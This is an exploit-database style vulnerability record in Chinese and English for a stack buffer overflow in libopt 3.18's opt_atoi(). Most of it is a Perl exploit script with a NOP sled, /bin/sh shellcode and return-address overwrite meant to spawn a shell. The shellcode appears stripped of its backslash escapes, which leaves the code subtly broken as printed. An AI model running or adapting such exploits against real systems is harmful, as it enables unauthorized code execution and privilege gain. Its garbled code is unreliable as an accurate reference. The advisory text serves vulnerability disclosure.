https://www.exploit-db.com/exploits/22538
https://www.securityfocus.com/bid/82777
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200307-012

OptionsParsingTool(OPT)sharedlibrary3.18及其更早的版本在setuid程序中使用时存在多个缓冲区溢出漏洞。本地用户利用该漏洞借助一个如在opt_atoi等函数中使用opt_warn_2注入宏的超长命令行选项执行任意代码。

source: http://www.securityfocus.com/bid/7433/info
 
Libopt library has been reported prone to a buffer overflow vulnerability.
 
It has been reported that several Libopt.a error logging functions, may be prone to buffer overflow vulnerabilities when handling excessive data. The data may be supplied as an argument to a program linked to the vulnerable library. This condition arises from a lack of sufficient bounds checking performed on the user-supplied data, before it is copied into a memory buffer. As a result the bounds of an internal stack-based memory buffer may be overflowed and adjacent memory corrupted with attacker supplied data. It should be noted that no SUID applications linked to this library are currently known.
 
Although unconfirmed this vulnerability may be exploited to execute arbitrary attacker supplied code.
 
It should be noted that although this vulnerability was reported to affect Libopt.a version 3.18 previous versions might also be affected.

#!/usr/bin/perl
#
# expl-optatoi.pl : opt_atoi() function exploit (from Options Parsing
# Tool shared library opt-3.18 and prior) for this vulnerable code.
#
# vuln.c :
#    main(int *argc, char **argv)
#    {
#        /* use OPT opt_atoi() */
#        int y = opt_atoi(argv[1]);
#        printf("opt_atoi(): %in", y);
#     }
#
# cc -o vuln vuln.c /path/to/opt-3.18/src/libopt.a
#
# Author :
#    jlanthea [[email protected]]
#
# Syntax :
#    perl expl-optatoi.pl <offset>   # works for me with offset = -1090


$shellcode = "xebx1fx5ex89x76x08x31xc0x88x46x07x89".
             "x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c".
             "xcdx80x31xdbx89xd8x40xcdx80xe8xdcxff".
             "xffxff/bin/sh";


$len = 1032;        # The length needed to own EIP.
$ret = 0xbffff6c0;  # The stack pointer at crash time
$nop = "x90";      # x86 NOP
$offset = 0;    # Default offset to try.


if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

print("Address: 0x", sprintf('%lx',($ret + $offset)), "n");

$new_ret = pack('l', ($ret + $offset));

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

exec("/path/to/vuln $buffer");

James Theiler opt 3.18

来源:nis-www.lanl.gov
链接:http://nis-www.lanl.gov/~jt/Software/opt/opt-3.19.tar.gz
来源:BUGTRAQ
名称:20030424SRT2003-04-24-1532-OptionsParsingToollibrarybufferoverflows.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105121918523320&w;=2
来源:BUGTRAQ
名称:20030523Re:OptionsParsingToollibrarybufferoverflows.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105371246204866&w;=2
来源:BUGTRAQ
名称:20030523Re:OptionsParsingToollibrarybufferoverflows.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105371246204866&w;=2
来源:BUGTRAQ
名称:20030424SRT2003-04-24-1532-OptionsParsingToollibrarybufferoverflows.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105121918523320&w;=2